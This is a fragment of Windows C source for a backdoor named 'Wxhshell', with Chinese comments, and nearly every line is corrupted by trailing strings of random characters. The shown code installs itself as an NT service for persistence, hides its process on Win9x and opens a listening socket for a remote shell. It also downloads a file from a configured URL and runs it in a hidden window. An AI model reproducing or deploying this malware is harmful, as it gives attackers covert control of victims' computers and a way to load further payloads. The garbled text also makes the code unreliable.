} PROCESS_BASIC_INFORMATION; O%.c%)4Xo
"[ 091 <
PROCNTQSIP NtQueryInformationProcess; CfoT$g
? LA>5
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2/K38t'-
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; W9ZfD~(3-
oyS43/."
HANDLE hProcess; G/:;Qig
PROCESS_BASIC_INFORMATION pbi; O]SjShp
VgHVj)ir
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Ne)H*DT
if(NULL == hInst ) return 0; \/Z?QBFvz
cZ{-h
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); M}]E,[
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4#o Lf1
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ppjS|l*`
4]F:QS%
x
if (!NtQueryInformationProcess) return 0; #&A)%Qbg
%B&y^mZv*\
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U=4tJb
if(!hProcess) return 0; ahno$[
3(De> gs$
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kDAPT_Gid
Dl2`b">u
CloseHandle(hProcess); $d ]3ek/
-^i[
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IXaF(2>
if(hProcess==NULL) return 0; MY]Z@
a&3pPfC
HMODULE hMod; dVh* a
char procName[255]; h7iI=[_V
unsigned long cbNeeded; %.
=B=*
Gm0&y
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M PhG:^g
bnb:4?d]
CloseHandle(hProcess); DdY89R 6
/~?'zr
if(strstr(procName,"services")) return 1; // 以服务启动 C 'YL9r-G
0:Ow$
return 0; // 注册表启动 `@$qy&AJ
} +=v6*%y"V
)*=ds,
// 主模块 .</`#
int StartWxhshell(LPSTR lpCmdLine) w%(Ats
{ G1t{a:
SOCKET wsl; /1F5khN
BOOL val=TRUE; afVl)2h
int port=0; n2NxO0
struct sockaddr_in door; K'6dlwn).
yHY \4OHS
if(wscfg.ws_autoins) Install(); MlDWK_y_&
hmfO\gc}y
port=atoi(lpCmdLine); 5C}1iZEJ
~(( '1+
if(port<=0) port=wscfg.ws_port;
){u/v[O9"
+j*h bG=
WSADATA data; KCE5Z?k
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O$=[m9V
i(hI\hD
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; IQ$cLr-S
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8T&.8r
door.sin_family = AF_INET; [8F1rZ&
door.sin_addr.s_addr = inet_addr("127.0.0.1"); D"x;/I
door.sin_port = htons(port); f@3?kM(
?C%mwW3pc
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PBXRey7>D
closesocket(wsl); yfq Vx$YL
return 1; Pz+2(Z
} sop*?0
?<YQ
%qaW7
if(listen(wsl,2) == INVALID_SOCKET) { pX5#!)
closesocket(wsl); %XX(x'^4
return 1; ~N<zv({lG
} 5crd.1@^
Wxhshell(wsl); (#uz_/xXa
WSACleanup(); #le1
^
<w7
6:Fb>|]*PY
return 0; L_TM]0D>7
|@6t"P ]@
} #H0-Fwo
U3R;'80 f
// 以NT服务方式启动 MLbmz\8a
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5G
>{*K/
{
9/?@2
DWORD status = 0; k0@b"y*
DWORD specificError = 0xfffffff; p\A!"KC
~F gxhK2+
serviceStatus.dwServiceType = SERVICE_WIN32; PV[Bq t
serviceStatus.dwCurrentState = SERVICE_START_PENDING; _,,w>q6K
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4^3}+cJ7j
serviceStatus.dwWin32ExitCode = 0; d:j65yu
serviceStatus.dwServiceSpecificExitCode = 0; FX"j8i/N
serviceStatus.dwCheckPoint = 0; C;mcb$@
serviceStatus.dwWaitHint = 0; Pv- i.
reBAxmt
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~pv|
if (hServiceStatusHandle==0) return; Y(a0*fh
MBeubS
status = GetLastError(); Wu}84W"!.V
if (status!=NO_ERROR) 16J"QUuG
{ 'AU:[eyUV
serviceStatus.dwCurrentState = SERVICE_STOPPED; %5?Zjp+9
serviceStatus.dwCheckPoint = 0; /0.m|Th'm
serviceStatus.dwWaitHint = 0; A_:CGtv:
serviceStatus.dwWin32ExitCode = status; 8h,>f#)0c
serviceStatus.dwServiceSpecificExitCode = specificError; 8-s7^*!
SetServiceStatus(hServiceStatusHandle, &serviceStatus);
;rH<
return; v(|Arm?
} `>i8$q%
YadG05PDe
serviceStatus.dwCurrentState = SERVICE_RUNNING; 50<QF
serviceStatus.dwCheckPoint = 0; QPc4bg\J~t
serviceStatus.dwWaitHint = 0; ZOAHM1ci
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e-Pn,j
} <"GgqyRzv
WQJnWe
// 处理NT服务事件,比如:启动、停止 <5 ?
VOID WINAPI NTServiceHandler(DWORD fdwControl) G\X}gqe(OJ
{ 4p}?QR>tZ
switch(fdwControl) 0*=[1tdWY
{ 0~/'c0Ho
case SERVICE_CONTROL_STOP: !_yWe
serviceStatus.dwWin32ExitCode = 0; e&R?9z-*
serviceStatus.dwCurrentState = SERVICE_STOPPED; S)?V;@p6
serviceStatus.dwCheckPoint = 0; G!G]*p5
serviceStatus.dwWaitHint = 0; lG1\41ZxB
{ #YiphR&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 51sn+h<w
} :637MD>5lO
return; MWl2;qi
case SERVICE_CONTROL_PAUSE: ><&>JgM
serviceStatus.dwCurrentState = SERVICE_PAUSED; ZC99/NWN
break; SsY:gp_
case SERVICE_CONTROL_CONTINUE: eBZ94rA]
serviceStatus.dwCurrentState = SERVICE_RUNNING; s"'ns
break; Rj'Tu0l
case SERVICE_CONTROL_INTERROGATE: F|wT']1Y
break; @mD$Z09~
}; D8rg:,'6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); dvW2X
} f>!H<4
]
+u[^@>_I0
// 标准应用程序主函数 I2&R+~ktR
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) hy]8t1894
{ at
)m*
2FE13{+f
// 获取操作系统版本 ;%ng])w=;
OsIsNt=GetOsVer(); 59@PY! c>
GetModuleFileName(NULL,ExeFile,MAX_PATH); S/2lK*F
_+aMP=H
// 从命令行安装 N 4!18{/2
if(strpbrk(lpCmdLine,"iI")) Install(); Ib&]1ger#=
+$;#bw)yH
// 下载执行文件 ]4X08Cm^
if(wscfg.ws_downexe) { BwJL)$D<S
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Qq|c%FZ
WinExec(wscfg.ws_filenam,SW_HIDE); 6)h~9iK
} j=up7395
"XB6k0.#
if(!OsIsNt) { o..iT:f;n
// 如果时win9x,隐藏进程并且设置为注册表启动 L!c.1Rf_
HideProc(); !>8/Xz~-
StartWxhshell(lpCmdLine); F*Y]^9]
} -T8'|"g
else CZzgPId%x
if(StartFromService()) 3+4U?~^k*
// 以服务方式启动 G'<Ie@$6l
StartServiceCtrlDispatcher(DispatchTable); <1pRAN0
else HYwtGj~5
// 普通方式启动 !^x;4@Ejm
StartWxhshell(lpCmdLine); d(_;@%p1X
j9d^8)O,
return 0; A=f)ntH~
}